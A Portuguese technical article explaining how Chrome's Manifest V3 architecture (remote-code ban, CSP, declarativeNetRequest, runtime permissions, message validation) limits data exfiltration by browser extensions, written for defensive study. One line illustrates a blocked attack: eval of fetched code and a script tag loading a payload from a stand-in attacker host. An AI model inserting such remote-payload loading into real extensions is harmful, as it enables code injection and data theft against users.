Privacidade em Extensions: Como Arquitetura Previne Exfiltração de Dados
A notícia chegou ao Hacker News com 565 upvotes: 8 milhões de usuários tiveram suas conversas com IA vendidas por extensões que prometiam justamente o oposto - proteção de privacidade. O problema não é novo, mas a escala mostra que abordagens ingênuas de segurança em browser extensions não funcionam.
Um estudo publicado no IEEE Symposium on Security and Privacy em 2020 analisou 18.349 extensões do Chrome e descobriu algo alarmante: 17.3% faziam exfiltração de dados não divulgada aos usuários. Milhares de extensões silenciosamente enviando histórico de navegação, cookies, credenciais e conteúdo de formulários para servidores controlados por terceiros. Outro paper do NDSS 2023 identificou 186 extensões maliciosas usando análise de fluxo de dados, detectando exfiltração em média 2.3 segundos após a captura inicial.
Extensões operam com privilégios elevados - acessam DOM, interceptam network requests, injetam código em páginas. Essa superfície de ataque precisa ser controlada arquiteturalmente, não apenas por confiança em desenvolvedores. Este artigo analisa como o Manifest V3 mudou a arquitetura de segurança de extensões e quais patterns técnicos realmente previnem data exfiltration.
Manifest V3: Mudança Arquitetural na Raiz
O Manifest V3, introduzido em 2020 e tornado obrigatório na Chrome Web Store em junho de 2023, não é apenas uma atualização de API. Representa uma rearquitetura fundamental de como extensões executam código.
A mudança mais crítica: remotely hosted code é completamente proibido. Extensions precisam incluir todo código JavaScript no pacote de instalação. Isso elimina um vetor de ataque comum onde extensões legítimas eram atualizadas para carregar scripts maliciosos de servidores externos após aprovação na store. A pesquisa da USENIX 2019 encontrou obfuscação em 68% das extensões com comportamento de exfiltração, frequentemente usando eval() dinâmico e carregamento de código remoto.
O MV3 implementa Content Security Policy padrão de script-src 'self'; object-src 'self', bloqueando execução de código remoto e uso de eval() completamente. Você não consegue mais fazer eval(fetchedCode) ou injetar <script src="https://evil.com/payload.js">. O código precisa estar no bundle da extensão que passa por revisão.
Service Workers substituem background pages, executando em contexto isolado sem acesso ao DOM. Background pages no MV2 eram páginas HTML invisíveis com acesso completo às APIs do navegador - um ambiente rico demais para código que deveria apenas coordenar operações. Service Workers são efêmeros, terminam quando ociosos, e não têm janela ou DOM próprio.
DeclarativeNetRequest: Bloqueio sem Execução Arbitrária
A mudança mais controversa do MV3 foi substituir a API webRequest bloqueante pela declarativeNetRequest. A diferença é fundamental.
O webRequest no MV2 permitia que extensões interceptassem cada network request, executassem código JavaScript arbitrário para analisá-lo, e modificassem ou bloqueassem o request sincronamente. Para bloquear um tracker, sua extensão recebia o request, executava código que verificava URL contra listas, checava headers, possivelmente analisava cookies, e retornava decisão de bloqueio. Cada request adicionava latência de 150-500ms segundo grupos de discussão do Chromium. Esse código JavaScript tinha acesso completo aos dados do request - URL, headers, body - e podia enviá-los para onde quisesse.
O declarativeNetRequest funciona diferente. Você define regras declarativas antecipadamente: “bloqueie requests para *.doubleclick.net”, “remova header Referer de requests para exemplo.com”. O navegador processa essas regras no browser process, em código nativo, sem executar JavaScript da extensão a cada request. O overhead cai para menos de 1ms por request. E a extensão nunca vê os dados sensíveis do request - apenas define regras que o navegador aplica.
Sua extensão não pode exfiltrar dados de requests que nunca recebe. Mas existem trade-offs práticos severos.
O Chrome limita extensões a 30.000 regras estáticas. O Firefox aumentou para 50.000 no Firefox 115. AdGuard reporta necessidade de 300.000+ regras para manter feature parity com sua implementação MV2. uBlock Origin criou uBlock Origin Lite em 2023 para MV3, usando 100% declarativeNetRequest, mas precisa de diferentes estratégias de filtro justamente devido ao limite.
A limitação não é apenas numérica. declarativeNetRequest não consegue analisar request bodies dinamicamente. Quer bloquear requests que enviam PII (personally identifiable information) baseado no conteúdo do payload? Não tem como - as regras são definidas antecipadamente e aplicadas mecanicamente. O MV2 permitia código que inspecionava body, headers e contexto completo antes de decidir.
Para casos legítimos como debugging de network ou análise de privacidade avançada, o webRequest ainda existe no MV3, mas apenas em modo observador. Você recebe notificações de requests mas não pode bloqueá-los. Mesmo esse modo observador foi mantido primariamente para enterprise policies de force-installed extensions.
Vetores de Exfiltração e Patterns de Isolamento
Mesmo com remotely hosted code bloqueado e webRequest removido, extensões ainda podem exfiltrar dados - apenas com mais fricção. A pesquisa acadêmica identificou os vetores mais comuns: XMLHttpRequest (41%), Fetch API (33%), WebSocket (15%), e form submission (11%). Todos ainda funcionam no MV3.
O pattern crítico de proteção é Content Script Isolation com validação de mensagens. Content scripts executam no contexto de páginas web mas podem se comunicar com o service worker da extensão via chrome.runtime.sendMessage(). Esse canal precisa ser tratado como boundary de confiança.
A arquitetura segura valida origem e estrutura de cada mensagem:
// Service Worker - validação rigorosa de mensagens
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
// Valida que veio de content script da extensão
if (!sender.tab) {
return false; // Não é de um content script
}
// Valida estrutura da mensagem
if (typeof message !== 'object' || !message.type) {
return false;
}
// Whitelist explícito de tipos de mensagem permitidos
const allowedTypes = ['getData', 'updateSettings', 'logEvent'];
if (!allowedTypes.includes(message.type)) {
return false;
}
// Nunca confie em dados da mensagem sem sanitização
handleMessage(sanitize(message));
return true;
});
Essa validação importa porque content scripts executam em ambiente potencialmente hostil - a página pode ter sido comprometida ou ser maliciosa. Se seu service worker aceita message.url e faz fetch(message.url), você criou um vetor de exfiltração controlado pela página.
A API externally_connectable define allowlist de sites que podem se comunicar com a extensão via chrome.runtime.sendMessage() de páginas web. Por padrão, nenhum site externo pode fazer isso. Se você precisa dessa comunicação, seja explícito:
{
"externally_connectable": {
"matches": ["https://trusted-domain.com/*"]
}
}
Documentação vazia ou wildcard aqui é vulnerabilidade de design. O paper NDSS 2023 detectou extensões maliciosas usando exatamente esse vetor - sites arbitrários podiam se comunicar com a extensão e comandar exfiltração.
Permissions e Princípio do Menor Privilégio
Host permissions no MV3 mudaram fundamentalmente. No MV2, se você declarava "permissions": ["https://*/*"] no manifest, a extensão recebia acesso universal na instalação. Usuários tinham que confiar ou rejeitar completamente.
O MV3 requer aprovação explícita em runtime. Declarar host permissions no manifest apenas permite que a extensão peça acesso - o usuário aprova por site depois. Você pode usar activeTab permission que fornece acesso temporário apenas após interação explícita do usuário, como clicar no ícone da extensão.
Essa arquitetura força princípio de menor privilégio por design. Sua extensão só precisa ler DOM quando usuário ativa explicitamente? Use activeTab e não peça host permissions permanentes. Precisa de background monitoring? Justifique e documente claramente porque precisa desse acesso.
A pesquisa mostra que extensões raramente justificam as permissions que solicitam. O estudo IEEE S&P 2020 ‘Lies in the Air’ encontrou discrepâncias massivas entre permissions declaradas e funcionalidade real. Extensions pediam acesso a todos os sites mas apenas operavam em contextos específicos. Essa over-permissioning cria superfície de ataque desnecessária.
Limitações Reais e Auditoria
A arquitetura do MV3 não elimina exfiltração - apenas aumenta a fricção. Um desenvolvedor mal-intencionado ainda pode fazer fetch() para enviar dados. O que mudou é a auditabilidade.
Code bundled no pacote pode ser inspecionado estaticamente. Análise de fluxo de dados consegue rastrear como dados sensíveis fluem do DOM para network requests. O framework ‘Hulk’ da USENIX 2019 detectou 188 de 196 extensões maliciosas conhecidas com 95.9% de recall usando essa abordagem. O paper NDSS 2023 ‘OBSERVER’ alcançou 94.2% de precisão usando taint tracking dinâmico.
Obfuscação continua sendo problema. Base64 encoding e técnicas de ofuscação aparecem em 54% dos casos segundo o estudo USENIX. O MV3 bloqueia eval() dinâmico, mas ofuscação estática ainda funciona - apenas dificulta análise automatizada.
A documentação oficial não especifica ferramentas de auditoria em tempo real para desenvolvedores monitorarem suas próprias extensões. A API declarativeNetRequest.getMatchedRules() para debugging só está disponível desde Chrome 103, limitando análise retroativa. Frameworks open-source especificamente para implementar privacy-by-design em MV3 ainda não são bem documentados publicamente.
Garantias de privacidade dependem tanto de arquitetura quanto de processos de review. A Chrome Web Store faz análise automatizada de código submetido, mas a escala (centenas de milhares de extensões) torna review manual profundo impraticável. Extensões maliciosas podem passar se usarem obfuscação suficiente ou atualizações incrementais que introduzem comportamento de exfiltração gradualmente.
Implicações Práticas para Desenvolvedores
Se você desenvolve extensões, a transição para MV3 força decisões arquiteturais diferentes. Privacy Badger usa 5.000 regras dinâmicas no declarativeNetRequest para bloquear trackers aprendidos em runtime. Ghostery combina 50.000 regras estáticas com 5.000 dinâmicas. Ambas estratégias funcionam dentro dos limites do MV3, mas requerem rethinking de como implementar funcionalidade que dependia de análise síncrona de requests.
Para casos onde você realmente precisa acessar dados de requests - analytics legítimo, debugging, análise de segurança - a única opção restante é modo observador do webRequest. Você consegue ver o request, mas não modificá-lo. Essa limitação é intencional e provavelmente não mudará.
A recomendação arquitetural é simples mas difícil de implementar: minimize dados coletados desde o design inicial. Se você não tem acesso ao request body no MV3, projete funcionalidade que não dependa dele. Se precisa de host permissions, solicite apenas para domínios específicos onde é absolutamente necessário. Use activeTab sempre que possível.
A melhor proteção técnica contra exfiltração é não ter acesso aos dados desde o início. Extensões que operam puramente com declarativeNetRequest e permissions mínimas têm superfície de ataque dramaticamente menor que aquelas com broad host permissions e uso de webRequest observador.
Para usuários, a recomendação prática permanece: instale apenas extensões de desenvolvedores com reputação estabelecida, revise permissions solicitadas criticamente, e entenda que mesmo extensões “de privacidade” podem ter incentivos financeiros para vender seus dados. O caso dos 8 milhões de usuários afetados demonstra que marketing de privacidade não garante implementação privada.
A arquitetura do MV3 cria barreiras técnicas reais contra exfiltração, mas não as elimina. Comportamento malicioso agora requer esforço deliberado para contornar proteções arquiteturais, ao invés de ser simplesmente o caminho de menor resistência. Isso não resolve o problema completamente, mas muda fundamentalmente o threat model de browser extensions.